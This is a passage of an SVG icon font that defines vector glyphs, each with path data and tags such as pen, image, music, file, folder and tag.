	C 347.308,301.884, 308,295.334, 308,295.334s 52.127,31.276, 99.128,36.574C 421.914,355.909, 435.64,374.73, 448,384C 202.563,384, 56,104,0-64
	l 28,0 l 84,140c0,0, 28-28, 112,0c 19.895,6.632, 39.79,25.048, 59.313,49.846C 234.043,138.339, 168,127.334, 168,127.334z" data-tags="quill, feather, write, blog, edit" />
<glyph unicode="&#xe008;" d="M 420.002,257.997L 322.003,355.997L 350.003,383.996L 448.002,285.997zM 392,230 L 378,76 C 252,76 70-64 70-64 L 46.756-40.756 L 166.484,78.972 C 171.285,77.061 176.517,76 182,76 C 205.196,76 224,94.804 224,118 C 224,141.196 205.196,160 182,160 C 158.804,160 140,141.196 140,118 C 140,112.517 141.061,107.286 142.972,102.484 L 23.244-17.244 L 0,6 C 0,6 140,188 140,314 L 294,328 L 392,230 Z" data-tags="pen, blog, write, edit, note" />
<glyph unicode="&#xe009;" d="M 168,300 C 276.248,300 364,212.247 364,104 L 322,104 C 322,145.136 305.981,183.808 276.895,212.895 C 247.808,241.981 209.135,258 168,258 L 168,300 ZM 168,384 C 322.639,384 448,258.639 448,104 L 406,104 C 406,136.148 399.713,167.312 387.314,196.627 C 375.329,224.963 358.162,250.42 336.291,272.291 C 314.42,294.163 288.963,311.329 260.627,323.314 C 231.312,335.713 200.148,342 168,342 L 168,384 ZM 251.296,187.297 C 270.44,168.153 279.994,143.063 279.983,117.975 C 252,75.976 252,20 252,20 C 140,20 56-64 56-64 L 49.875-57.875 L 39.756-47.756 L 163.823,76.312 C 165.186,76.108 166.58,76 168,76 C 183.464,76 196,88.536 196,104 C 196,119.464 183.464,132 168,132 C 152.536,132 140,119.464 140,104 C 140,102.58 140.108,101.185 140.311,99.823 L 16.244-24.244 L 0-8 C 0-8 84,76 84,188 C 84,188 139.999,188 181.999,216 C 207.080,216 232.16,206.432 251.296,187.297 Z" data-tags="blog, pen, feed, publish, broadcast, write" />
<glyph unicode="&#xe00a;" d="M 391.974,106.843c-0.005,0.309-0.013,0.613-0.018,0.921c-0.014,0.625-0.031,1.249-0.052,1.873C 387.516,247.733, 224,384, 224,384
		S 60.483,247.733, 56.096,109.634c-0.019-0.626-0.038-1.248-0.052-1.873c-0.006-0.308-0.013-0.613-0.018-0.921
		c-0.016-0.945-0.025-1.892-0.025-2.842c0-1.036, 0.012-2.066, 0.031-3.097c 0.002-0.086, 0.003-0.171, 0.006-0.256
		C 57.822,9.412, 132.336-64, 224-64c 91.663,0, 166.177,73.412, 167.964,164.647c 0.002,0.086, 0.004,0.172, 0.004,0.256
		c 0.018,1.031, 0.032,2.062, 0.032,3.097C 392,104.95, 391.99,105.897, 391.974,106.843z M 335.978,101.926l-0.004-0.178
		c-0.577-29.438-12.483-57.021-33.524-77.677C 281.389,3.39, 253.525-8, 224-8c-5.452,0-10.847,0.391-16.154,1.154
		c 60.837,36.245, 101.595,102.683, 101.595,178.641c0,8.512-0.516,16.902-1.51,25.147c 17.619-32.349, 27.153-62.475, 28.001-89.086
		l 0.002-0.063c 0.014-0.415, 0.023-0.828, 0.034-1.244l 0.012-0.633C 335.991,105.278, 336,104.639, 336,104
		C 336,103.307, 335.991,102.617, 335.978,101.926z" data-tags="droplet, colors, water" />
<glyph unicode="&#xe00b;" d="M 448,132L 448,300 l-84,0 L 364,328 c0,15.4-12.6,28-28,28L 28,356 C 12.6,356,0,343.4,0,328l0-84 c0-15.4, 12.6-28, 28-28l 308,0 c 15.4,0, 28,12.6, 28,28l0,28 l 56,0 
	l0-112 L 168,160 l0-56 l-14,0 c-7.732,0-14-6.268-14-14l0-140 c0-7.732, 6.268-14, 14-14l 56,0 c 7.732,0, 14,6.268, 14,14L 224,90 c0,7.732-6.268,14-14,14l-14,0 l0,28 
	L 448,132 z M 336,300L 28,300 L 28,328 l 308,0 L 336,300 z" data-tags="paint-format, format" />
<glyph unicode="&#xe00c;" d="M 392,300 L 56,300 L 56,20 L 392,20 L 392,300 Z M 448,356 L 448,356 L 448-36 L 0-36 L 0,356 L 448,356 ZM 364,48 L 84,48 L 84,104 L 168,244 L 283.063,104 L 364,160 L 364,132 ZM 280,230A42,42 2700 1 0 364,230A42,42 2700 1 0 280,230z" data-tags="image, picture, photo, graphic" />
<glyph unicode="&#xe00d;" d="M0,328l0-364 l 448,0 L 448,328 L0,328 z M 420-8L 28-8 L 28,300 l 392,0 L 420-8 zM 308,230A42,42 2700 1 0 392,230A42,42 2700 1 0 308,230zM 392,20 L 56,20 L 140,244 L 252,104 L 308,146 Z" data-tags="image, picture, photo, graphic" />
<glyph unicode="&#xe00e;" d="M 56,272l0-280 l 392,0 L 448,272 L 56,272 z M 420,38.666L 364,132l-63.466-52.889L 252,160L 84,20L 84,244 l 336,0 L 420,38.666 zM 112,174A42,42 7740 1 0 196,174A42,42 7740 1 0 112,174zM 392,328L0,328L0,48L 28,48L 28,300L 392,300 	z" data-tags="images, pictures, photos, graphics" />
<glyph unicode="&#xe00f;" d="M 133,118c0-50.258, 40.742-91, 91-91s 91,40.742, 91,91s-40.742,91-91,91S 133,168.258, 133,118z M 420,272L 322,272 
	c-7,28-14,56-42,56L 168,328 c-28,0-35-28-42-56L 28,272 c-15.4,0-28-12.6-28-28l0-252 c0-15.4, 12.6-28, 28-28l 392,0 c 15.4,0, 28,12.6, 28,28L 448,244 
	C 448,259.4, 435.4,272, 420,272z M 224-6.25c-68.622,0-124.25,55.627-124.25,124.25c0,68.622, 55.628,124.25, 124.25,124.25c 68.623,0, 124.25-55.628, 124.25-124.25
	C 348.25,49.377, 292.624-6.25, 224-6.25z M 420,188l-56,0 l0,28 l 56,0 L 420,188 z" data-tags="camera, photo, picture, image" />
<glyph unicode="&#xe010;" d="M 140,300 L 448,384 L 448,356 L 448,300 L 448,62 C 448,23.34 404.123-8 350-8 C 295.877-8 252,23.34 252,62 C 252,100.66 295.877,132 350,132 C 365.032,132 379.27,129.58 392,125.26 L 392,269.455 L 196,216 L 196,6 C 196-32.66 152.124-64 98-64 C 43.876-64 0-32.66 0,6 C 0,44.66 43.876,76 98,76 C 113.032,76 127.27,73.58 140,69.26 L 140,216 L 140,300 Z" data-tags="music, song, audio, sound" />
<glyph unicode="&#xe011;" d="M 84,131l0-194.001 c 4.574-0.654, 9.246-1, 14-1l 14,0 L 112,132 l-14,0 C 93.246,132, 88.574,131.654, 84,131zM 336,132l0-196 l 14,0 c 4.755,0, 9.426,0.346, 14,1L 364,131 c-4.574,0.654-9.245,1-14,1L 336,132 zM 448,160C 448,283.712, 347.712,384, 224,384S0,283.712,0,160c0-26.87, 4.737-52.634, 13.412-76.507C 4.893,68.967,0,52.057,0,34
		c0-39.092, 22.893-72.834, 56-88.564L 56,122.564 c-8.805-4.183-16.879-9.651-24-16.146C 29.378,119.202, 28,132.44, 28,146
		C 28,254.248, 115.752,342, 224,342s 196-87.752, 196-196c0-13.56-1.377-26.798-4-39.581c-7.123,6.494-15.194,11.962-24,16.146
		l0-177.128 c 33.108,15.73, 56,49.472, 56,88.564c0,18.057-4.893,34.967-13.412,49.493C 443.263,107.366, 448,133.13, 448,160z" data-tags="headphones, headset, music, song, audio" />
<glyph unicode="&#xe012;" d="M 429.27,313.953C 366.431,322.987, 297,328, 224.001,328c-73.001,0-142.431-5.013-205.272-14.047
	C 6.684,266.823,0,214.75,0,160c0-54.749, 6.684-106.823, 18.729-153.952C 81.57-2.987, 151-8, 224.001-8
	c 72.999,0, 142.429,5.013, 205.269,14.048C 441.315,53.177, 448,105.251, 448,160C 448,214.75, 441.315,266.823, 429.27,313.953z
	 M 168.001,76L 168.001,244 l 140-84L 168.001,76z" data-tags="play, video, movie" />
<glyph unicode="&#xe013;" d="M0,328l0-336 l 448,0 L 448,328 L0,328 z M 84,20L 28,20 l0,56 l 56,0 L 84,20 z M 84,132L 28,132 l0,56 l 56,0 L 84,132 z M 84,244L 28,244 L 28,300 l 56,0 L 84,244 z M 336,20L 112,20 L 112,300 l 224,0 L 336,20 z
		 M 420,20l-56,0 l0,56 l 56,0 L 420,20 z M 420,132l-56,0 l0,56 l 56,0 L 420,132 z M 420,244l-56,0 L 364,300 l 56,0 L 420,244 zM 168,244L 168,76L 280,160 	z" data-tags="film, video, movie, tape, play" />
<glyph unicode="&#xe014;" d="M 168,258A70,70 10980 1 0 308,258A70,70 10980 1 0 168,258zM0,258A70,70 10980 1 0 140,258A70,70 10980 1 0 0,258zM 336,118l0,42 c0,15.4-12.6,28-28,28l-70,0 L 70,188 L 28,188 c-15.4,0-28-12.6-28-28l0-140 c0-15.4, 12.6-28, 28-28l 280,0 c 15.4,0, 28,12.6, 28,28
		l0,42 l 112-70L 448,188 L 336,118z M 280,48L 56,48 l0,84 l 224,0 L 280,48 z" data-tags="camera, video, media, film, movie" />
<glyph unicode="&#xe015;" d="M 378,300L 154,300 c-38.5,0-70-31.5-70-70l0-224 c0-38.5, 31.5-70, 70-70l 224,0 c 38.5,0, 70,31.5, 70,70L 448,230 C 448,268.5, 416.5,300, 378,300z M 182-8
	c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 205.196-8, 182-8z M 182,160c-23.196,0-42,18.804-42,42s 18.804,42, 42,42
	s 42-18.804, 42-42S 205.196,160, 182,160z M 266,76c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 289.196,76, 266,76z M 350-8
	c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 373.196-8, 350-8z M 350,160c-23.196,0-42,18.804-42,42s 18.804,42, 42,42
	s 42-18.804, 42-42S 373.196,160, 350,160z M 362.582,328C 356.051,359.852, 327.709,384, 294,384L 70,384 C 31.5,384,0,352.5,0,314l0-224 
	c0-33.708, 24.148-62.051, 56-68.582L 56,300 c0,15.4, 12.6,28, 28,28L 362.582,328 z" data-tags="dice, die, game, chance, luck, random, gample" />
<glyph unicode="&#xe016;" d="M 422.069,305.773C 380.987,353.658, 320.040,384, 252,384C 128.288,384, 28,283.712, 28,160s 100.288-224, 224-224
	c 68.040,0, 128.987,30.343, 170.069,78.227L 280,160L 422.069,305.773z M 308,331.237c 17.252,0, 31.237-13.984, 31.237-31.237
	c0-17.252-13.985-31.237-31.237-31.237S 276.763,282.749, 276.763,300C 276.763,317.251, 290.748,331.237, 308,331.237z" data-tags="pacman, game, arcade" />
<glyph unicode="&#xe017;" d="M 357.687,231.684C 273.002,294.622, 243.82,345.005, 224.002,383.999l0,0C 224,383.999, 224,384, 224,384l0-0.001 
	c-19.817-38.994-49-89.378-133.685-152.315c-144.391-107.313-8.477-257.105, 111.019-174.66
	c-7.786-51.157-34.357-88.45-61.341-104.511L 139.993-64 l 84.007,0 l 84.007,0 l0,16.511 c-26.986,16.060-53.554,53.355-61.343,104.512
	C 366.161-25.422, 502.077,124.372, 357.687,231.684z" data-tags="spades, bet, game, gamble, cards" />
<glyph unicode="&#xe018;" d="M 344.239,212.162c-25.826,0-49.038-10.761-65.56-28.304c-6.998-7.431-19.146-16.236-32.288-23.979
	c 6.173,23.567, 25.671,53.244, 39.212,66.262c 17.343,16.699, 27.993,40.176, 27.993,66.281C 313.599,342.689, 273.576,383.465, 224.002,384
	c-49.578-0.535-89.598-41.311-89.598-91.577c0-26.106, 10.651-49.582, 27.994-66.281c 13.542-13.018, 33.040-42.695, 39.212-66.262
	c-13.143,7.744-25.29,16.549-32.288,23.979c-16.523,17.543-39.734,28.304-65.559,28.304c-50.044,0-90.598-40.978-90.598-91.581
	c0-50.592, 40.553-91.585, 90.598-91.585c 25.831,0, 49.036,11.093, 65.559,28.635c 7.352,7.819, 20.319,17.56, 34.253,25.651
	c-1.313-64.615-32.17-112.073-63.577-130.771L 139.998-64 l 84.004,0 l 84.002,0 l0,16.511 c-31.409,18.697-62.265,66.157-63.578,130.771
	c 13.935-8.091, 26.901-17.836, 34.253-25.651c 16.523-17.541, 39.729-28.635, 65.56-28.635c 50.044,0, 90.597,40.994, 90.597,91.585
	C 434.836,171.184, 394.284,212.162, 344.239,212.162z" data-tags="clubs, bet, game, gamble, cards" />
<glyph unicode="&#xe019;" d="M 224,384L 84,160L 224-64L 364,160 z" data-tags="diamonds, bet, game, gamble, cards" />
<glyph unicode="&#xe01a;" d="M 322.009,105.767C 330.919,121.837, 336,140.324, 336,160c0,45.2-26.779,84.142-65.334,101.838
	C 284.983,274.656, 294,293.272, 294,314c0,38.66-31.34,70-70,70c-38.66,0-70-31.34-70-70c0-20.729, 9.017-39.344, 23.334-52.162
	C 138.779,244.142, 112,205.2, 112,160c0-19.676, 5.080-38.163, 13.991-54.232C 67.413,71.876, 28,8.543, 28-64l 392,0 
	C 420,8.543, 380.587,71.876, 322.009,105.767z" data-tags="pawn, chess, game" />
<glyph unicode="&#xe01b;" d="M 448,196.201c0,87.905-25.721,159.223-57.523,159.786c 0.128,0.003, 0.253,0.013, 0.382,0.013l-36.287,0 
	c0,0-85.225-64.022-207.913-89.142c-3.745-19.815-6.138-43.432-6.138-70.657c0-27.225, 2.391-50.841, 6.138-70.656
	c 122.687-25.12, 207.913-89.143, 207.913-89.143l 36.287,0 c-0.128,0-0.253,0.011-0.382,0.014C 422.281,36.978, 448,108.295, 448,196.201
	z M 378.361,60.577c-4.105,0-8.545,4.262-10.826,6.802c-5.526,6.153-10.847,15.732-15.395,27.706
	c-10.175,26.789-15.779,62.698-15.779,101.117c0,38.417, 5.604,74.327, 15.779,101.116c 4.547,11.973, 9.871,21.554, 15.395,27.706
	c 2.281,2.543, 6.722,6.804, 10.826,6.804c 4.104,0, 8.547-4.263, 10.825-6.804c 5.527-6.153, 10.848-15.732, 15.395-27.706
	c 10.175-26.788, 15.78-62.699, 15.78-101.116c0-38.414-5.604-74.326-15.78-101.117c-4.546-11.973-9.871-21.553-15.395-27.706
	C 386.908,64.839, 382.466,60.577, 378.361,60.577z M 110.168,196.201c0,22.728, 1.667,44.813, 4.835,65.229
	c-20.725-2.867-38.912-4.517-61.399-4.517c-29.338,0-29.338,0-29.338,0L0,215.487l0-38.574 l 24.264-41.425c0,0,0,0, 29.339,0
	c 22.487,0, 40.674-1.651, 61.399-4.517C 111.835,151.387, 110.168,173.472, 110.168,196.201z M 161.066,103.050l-55.999,10.723
	l 35.806-140.675c 1.853-7.277, 9.075-10.954, 16.050-8.161l 51.868,20.76c 6.976,2.79, 9.768,10.484, 6.211,17.099L 161.066,103.050zM 378.361,143.931c-1.583,0-3.293,1.642-4.173,2.622c-2.131,2.371-4.181,6.064-5.933,10.678
	c-3.921,10.325-6.081,24.165-6.081,38.972c0,14.807, 2.16,28.647, 6.081,38.972c 1.753,4.615, 3.804,8.307, 5.933,10.678
	c 0.879,0.98, 2.59,2.622, 4.173,2.622c 1.582,0, 3.294-1.643, 4.173-2.622c 2.131-2.371, 4.181-6.063, 5.933-10.678
	c 3.922-10.324, 6.082-24.165, 6.082-38.972c0-14.806-2.16-28.647-6.082-38.972c-1.752-4.615-3.804-8.307-5.933-10.678
	C 381.655,145.573, 379.943,143.931, 378.361,143.931z" data-tags="bullhorn, megaphone, announcement, advertisement, news" />
<glyph unicode="&#xe01c;" d="M 280,132 C 326.318,132 368.318,113.159 398.738,82.738 L 359.159,43.159 C 338.879,63.439 310.878,76 280,76 C 249.122,76 221.122,63.439 200.841,43.159 L 161.262,82.738 C 191.682,113.159 233.682,132 280,132 ZM 82.010,161.99 C 134.895,214.875 205.209,244 280,244 C 354.791,244 425.105,214.875 477.991,161.99 L 438.392,122.392 L 438.392,122.392 C 396.084,164.701 339.832,188 280,188 C 220.167,188 163.916,164.701 121.608,122.392 L 82.010,161.99 ZM 432.593,325.183 C 479.275,305.438 521.194,277.177 557.185,241.185 L 557.185,241.185 L 517.588,201.588 C 454.126,265.050 369.748,300 280,300 C 190.251,300 105.875,265.050 42.412,201.588 L 2.814,241.186 C 38.806,277.177 80.725,305.438 127.407,325.183 C 175.752,345.631 227.092,356 280,356 C 332.908,356 384.247,345.631 432.593,325.183 ZM 252-8A28,28 2700 1 0 308-8A28,28 2700 1 0 252-8z" horiz-adv-x="560" data-tags="connection, broadcast, wifi, wave, feed" />
<glyph unicode="&#xe01d;" d="M 448,160C 448,283.712, 347.712,384, 224,384S0,283.712,0,160c0-96.274, 60.741-178.353, 145.988-210.030L 140-64l 168,0 l-5.988,13.97
	C 387.259-18.353, 448,63.726, 448,160z M 212.971,106.264C 202.992,110.546, 196,120.454, 196,132c0,15.464, 12.536,28, 28,28
	c 15.464,0, 28-12.536, 28-28c0-11.546-6.99-21.457-16.969-25.74L 224,132L 212.971,106.264z M 235.492,105.185
	C 260.908,110.486, 280,133.011, 280,160c0,30.929-25.071,56-56,56c-30.928,0-56-25.071-56-56c0-26.99, 19.102-49.491, 44.52-54.787
	l-32.648-76.178C 139.959,46.162, 112,85.815, 112,132c0,61.855, 50.145,117.25, 112,117.25s 112-55.395, 112-117.25
	c0-46.185-27.959-85.837-67.872-102.966L 235.492,105.185z M 301.196-48.122l-32.342,75.463C 324.174,46.038, 364,98.367, 364,160
	c0,77.319-62.68,140-140,140c-77.319,0-140-62.681-140-140c0-61.633, 39.826-113.962, 95.146-132.66l-32.342-75.463
	C 76.982-18.159, 28.073,51.205, 28.073,132C 28.073,240.208, 115.792,333.177, 224,333.177c 108.208,0, 195.927-92.97, 195.927-201.177
	C 419.927,51.205, 371.018-18.159, 301.196-48.122z" data-tags="podcast, broadcast, live, wave, radio, feed" />
<glyph unicode="&#xe01e;" d="M 168,160A56,56 2700 1 0 280,160A56,56 2700 1 0 168,160zM 290.652,283.145 C 334.338,259.451 364,213.19 364,160 C 364,106.81 334.338,60.549 290.652,36.855 C 309.931,67.535 322,111.348 322,160 C 322,208.652 309.931,252.465 290.652,283.145 ZM 126,160 C 126,111.348 138.068,67.535 157.348,36.855 C 113.663,60.55 84,106.81 84,160 C 84,213.19 113.663,259.45 157.348,283.145 C 138.068,252.465 126,208.652 126,160 ZM 42,160 C 42,84.794 65.802,17.295 103.535-28.878 C 41.278,10.911 0,80.634 0,160 C 0,239.366 41.278,309.089 103.535,348.878 C 65.802,302.706 42,235.206 42,160 ZM 344.466,348.877 C 406.722,309.089 448,239.366 448,160 C 448,80.634 406.722,10.911 344.466-28.877 C 382.198,17.295 406,84.794 406,160 C 406,235.206 382.198,302.706 344.466,348.877 Z" data-tags="feed, wave, radio, live, broadcast" />
<glyph unicode="&#xe01f;" d="M 392,328l0-364 L 98-36 c-23.197,0-42,18.804-42,42c0,23.195, 18.803,42, 42,42l 266,0 L 364,384 L 84,384 C 53.201,384, 28,358.8, 28,328l0-336 
		c0-30.8, 25.201-56, 56-56l 336,0 L 420,328 L 392,328 zM 112,20L 364,20L 364-8L 112-8z" data-tags="book, reading" />
<glyph unicode="&#xe020;" d="M 252.102,257.444L 358.289,293.071L 447.357,27.603L 341.17-8.024zM0-8l 112,0 L 112,300 L0,300 L0-8 z M 28,244l 56,0 l0-28 L 28,216 L 28,244 zM 140-8l 112,0 L 252,300 L 140,300 L 140-8 z M 168,244l 56,0 l0-28 l-56,0 L 168,244 z" data-tags="books, library, archive" />
<glyph unicode="&#xe021;" d="M 224,384L0,244l 448,0 L 224,384z M 350,216l 14-28l0-168 l 56,0 L 420,188 l 14,28L 350,216 z M 238,216l 14-28l0-168 l 56,0 L 308,188 l 14,28L 238,216 z M 126,216l 14-28l0-168 l 56,0 
	L 196,188 l 14,28L 126,216 z M 14,216l 14-28l0-168 l 56,0 L 84,188 l 14,28L 14,216 z M 14-8L0-64l 448,0 l-14,56L 14-8 z M 252,300c0-15.464-12.536-28-28-28
	c-15.464,0-28,12.536-28,28s 12.536,28, 28,28C 239.464,328, 252,315.464, 252,300z" data-tags="library, reading, building" />
<glyph unicode="&#xe022;" d="M 378,384L 42,384 C 18.9,384,0,365.1,0,342l0-364 c0-23.1, 18.9-42, 42-42l 336,0 c 23.1,0, 42,18.9, 42,42L 420,342 C 420,365.1, 401.1,384, 378,384z M 364-8L 56-8 
		L 56,328 l 308,0 L 364-8 zM 112,188L 308,188L 308,160L 112,160zM 112,132L 308,132L 308,104L 112,104zM 112,76L 308,76L 308,48L 112,48zM 112,244L 308,244L 308,216L 112,216z" data-tags="file, list, paper, page, document" />
<glyph unicode="&#xe023;" d="M 378,384L 42,384 C 18.9,384,0,365.1,0,342l0-364 c0-23.1, 18.9-42, 42-42l 336,0 c 23.1,0, 42,18.9, 42,42L 420,342 C 420,365.1, 401.1,384, 378,384z M 364-8L 56-8 
		L 56,328 l 308,0 L 364-8 zM 112,132L 308,132L 308,104L 112,104zM 112,76L 308,76L 308,48L 112,48zM 140,258A42,42 4860 1 0 224,258A42,42 4860 1 0 140,258zM 210,216l-56,0 c-23.1,0-42-12.6-42-28l0-28 l 140,0 l0,28 C 252,203.4, 233.1,216, 210,216z" data-tags="profile, page, user, paper, file, document" />
<glyph unicode="&#xe024;" d="M 390.302,301.698l-52.602,52.603C 321.364,370.636, 289.1,384, 266,384L 70,384 C 46.9,384, 28,365.1, 28,342l0-364 c0-23.1, 18.9-42, 42-42l 308,0 
	c 23.1,0, 42,18.9, 42,42L 420,230 C 420,253.1, 406.636,285.364, 390.302,301.698z M 280,324.692c 0.961-0.352, 1.948-0.735, 2.957-1.153
	c 7.901-3.273, 13.387-7.077, 15.145-8.835l 52.603-52.604c 1.758-1.758, 5.561-7.242, 8.835-15.144c 0.418-1.009, 0.801-1.996, 1.153-2.956
	L 280,244 L 280,324.692 z M 364-8L 84-8 L 84,328 l 168,0 l0-112 l 112,0 L 364-8 z" data-tags="file, paper, page, new, empty, blank, document" />
<glyph unicode="&#xe025;" d="M 390.302,301.698l-52.602,52.603C 321.364,370.636, 289.1,384, 266,384L 70,384 C 46.9,384, 28,365.1, 28,342l0-364 c0-23.1, 18.9-42, 42-42l 308,0 
	c 23.1,0, 42,18.9, 42,42L 420,230 C 420,253.1, 406.636,285.364, 390.302,301.698z M 280,324.692c 0.961-0.352, 1.948-0.735, 2.957-1.153
	c 7.901-3.273, 13.387-7.077, 15.145-8.835l 52.603-52.604c 1.758-1.758, 5.561-7.242, 8.835-15.144c 0.418-1.009, 0.801-1.996, 1.153-2.956
	L 280,244 L 280,324.692 z M 364-8L 84-8 L 84,328 l 168,0 l0-112 l 112,0 L 364-8 zM 112,160L 336,160L 336,132L 112,132zM 112,104L 336,104L 336,76L 112,76zM 112,48L 336,48L 336,20L 112,20z" data-tags="file, list, paper, page, document" />
<glyph unicode="&#xe026;" d="M 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 c 19.25,0, 35,15.75, 35,35
	L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
	c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 c0,3.794, 3.206,7, 7,7
	l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z" data-tags="file, paper, page, new, empty, blank, document" />
<glyph unicode="&#xe027;" d="M 364,272l-84,0 L 280,300 L 196,384L0,384 l0-336 l 168,0 l0-112 l 280,0 L 448,188 L 364,272z M 364,232.402L 408.402,188L 364,188 L 364,232.402 z M 196,344.402L 240.402,300L 196,300 
	L 196,344.402 z M 28,356l 140,0 l0-84 l 84,0 l0-196 L 28,76 L 28,356 z M 420-36L 196-36 l0,84 l 84,0 L 280,244 l 56,0 l0-84 l 84,0 L 420-36 z" data-tags="copy, duplicate, files, pages, papers, documents" />
<glyph unicode="&#xe028;" d="M 378,328l-28,0 l0-28 l 14,0 l0-224 L 252,76 l0-112 L 84-36 L 84,300 l 14,0 L 98,328 L 70,328 c-7.701,0-14-6.3-14-14l0-364 c0-7.7, 6.299-14, 14-14l 220.5,0 l 101.5,101.5L 392,314 
	C 392,321.7, 385.7,328, 378,328z M 280-36l0,84 l 84,0 L 280-36zM 336,328l-56,0 L 280,356 c0,15.4-12.6,28-28,28l-56,0 c-15.402,0-28-12.6-28-28l0-28 l-56,0 l0-56 l 224,0 L 336,328 z M 252,328l-56,0 L 196,355.95 
	c 0.015,0.017, 0.032,0.034, 0.050,0.050l 55.898,0 c 0.018-0.016, 0.036-0.033, 0.052-0.050L 252,328 z" data-tags="copy, duplicate" />
<glyph unicode="&#xe029;" d="M 280,272L 280,384 L 84,384 L0,300l0-252 l 168,0 l0-112 l 280,0 L 448,272 L 280,272 z M 84,344.402L 84,300 L 39.598,300 L 84,344.402z M 28,76L 28,272 l 84,0 L 112,356 l 140,0 l0-84 l-84-84l0-112 L 28,76 z
	 M 252,232.402L 252,188 l-44.402,0 L 252,232.402z M 420-36L 196-36 L 196,160 l 84,0 l0,84 l 140,0 L 420-36 z" data-tags="copy, duplicate, files, pages, papers, documents" />
<glyph unicode="&#xe02a;" d="M 308,328l-56,0 L 252,356 c0,15.4-12.6,28-28,28l-56,0 c-15.402,0-28-12.6-28-28l0-28 L 84,328 l0-56 l 224,0 L 308,328 z M 224,328l-56,0 L 168,355.95 
		c 0.015,0.017, 0.032,0.034, 0.050,0.050l 55.898,0 c 0.018-0.016, 0.036-0.033, 0.052-0.050L 224,328 zM 364,244L 364,314 c0,7.7-6.3,14-14,14l-28,0 l0-28 l 14,0 l0-56 L 168,244 l0-196 L 56,48 L 56,300 l 14,0 L 70,328 L 42,328 c-7.701,0-14-6.3-14-14l0-280 c0-7.7, 6.299-14, 14-14l 126,0 
		l0-84 l 196,0 l 84,84L 448,244 L 364,244 z M 364-24.402L 364,20 l 44.402,0 L 364-24.402z M 420,48l-84,0 l0-84 L 196-36 L 196,216 l 224,0 L 420,48 z" data-tags="paste, clipboard" />
<glyph unicode="&#xe02b;" d="M 364,244L 364,314 c0,7.7-6.3,14-14,14L 252,328 L 252,356 c0,15.4-12.6,28-28,28l-56,0 c-15.402,0-28-12.6-28-28l0-28 L 42,328 c-7.701,0-14-6.3-14-14l0-280 
	c0-7.7, 6.299-14, 14-14l 126,0 l0-84 l 196,0 l 84,84L 448,244 L 364,244 z M 168,355.95c 0.015,0.017, 0.032,0.034, 0.050,0.050l 55.898,0 
	c 0.018-0.016, 0.036-0.033, 0.052-0.050L 224,328 l-56,0 L 168,355.95 z M 84,272L 84,300 l 224,0 l0-28 L 84,272 z M 364-24.402L 364,20 l 44.402,0 L 364-24.402z M 420,48l-84,0 l0-84 
	L 196-36 L 196,216 l 224,0 L 420,48 z" data-tags="paste, clipboard" />
<glyph unicode="&#xe02c;" d="M 308,328l-56,0 L 252,356 c0,15.4-12.6,28-28,28l-56,0 c-15.402,0-28-12.6-28-28l0-28 L 84,328 l0-56 l 224,0 L 308,328 z M 224,328l-56,0 L 168,355.95 
		c 0.015,0.017, 0.032,0.034, 0.050,0.050l 55.898,0 c 0.018-0.016, 0.036-0.033, 0.052-0.050L 224,328 zM 364,244L 364,314 c0,7.7-6.3,14-14,14l-28,0 l0-28 l 14,0 l0-56 l-84,0 l-84-84l0-112 L 56,48 L 56,300 l 14,0 L 70,328 L 42,328 c-7.701,0-14-6.3-14-14l0-280 
		c0-7.7, 6.299-14, 14-14l 126,0 l0-84 l 280,0 L 448,244 L 364,244 z M 252,204.402L 252,160 l-44.402,0 L 252,204.402z M 420-36L 196-36 L 196,132 l 84,0 l0,84 l 140,0 L 420-36 z" data-tags="paste, clipboard" />
<glyph unicode="&#xe02d;" d="M 448,244L 224,356L0,244l 224-112L 448,244z M 224,318.826L 373.65,244L 224,169.174L 74.35,244L 224,318.826zM 403.132,182.434 L 448,160 L 224,48 L 0,160 L 44.868,182.434 L 224,92.868 ZM 403.132,98.434 L 448,76 L 224-36 L 0,76 L 44.868,98.434 L 224,8.868 Z" data-tags="stack, layers" />
<glyph unicode="&#xe02e;" d="M 0,244 L 448,244 L 420-36 L 28-36 L 0,244 Z M 406,300 L 420,272 L 28,272 L 56,328 L 210,328 L 224,300 L 406,300 Z" data-tags="folder, directory, category, browse" />
<glyph unicode="&#xe02f;" d="M 364-36L 448,188L 84,188L0-36 zM 56,216 L 0-36 L 0,328 L 126,328 L 182,272 L 364,272 L 364,216 Z" data-tags="folder-open, directory, category, browse" />
<glyph unicode="&#xe030;" d="M 405.918,384L 279.672,384 c-23.146,0-55.473-13.39-71.839-29.756L 12.274,158.686c-16.366-16.366-16.366-43.148,0-59.514
	l 150.898-150.896c 16.366-16.367, 43.147-16.367, 59.513,0l 195.558,195.557C 434.61,160.2, 448,192.527, 448,215.672L 448,341.918 
	C 448,365.063, 429.062,384, 405.918,384z M 350,244c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 373.196,244, 350,244z" data-tags="tag, price" />
<glyph unicode="&#xe031;" d="M 434,356L 336,356 c-23.1,0-55.364-13.364-71.698-29.698L 99.698,161.698c-16.334-16.334-16.334-43.062,0-59.397l 122.603-122.602
	c 16.334-16.334, 43.062-16.334, 59.397,0l 164.602,164.602C 462.636,160.636, 476,192.9, 476,216L 476,314 C 476,337.1, 457.1,356, 434,356z M 378,216
	c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 401.196,216, 378,216zM 37.899,122.101 L 187.689-27.689 C 171.824-36.072 151.612-33.612 138.302-20.301 L 15.698,102.302 C -0.635,118.636 -0.635,145.365 15.698,161.698 L 180.302,326.302 C 196.636,342.636 228.9,356 252,356 L 37.899,141.9 C 32.455,136.455 32.455,127.546 37.899,122.101 Z" horiz-adv-x="476" data-tags="tags, prices" />
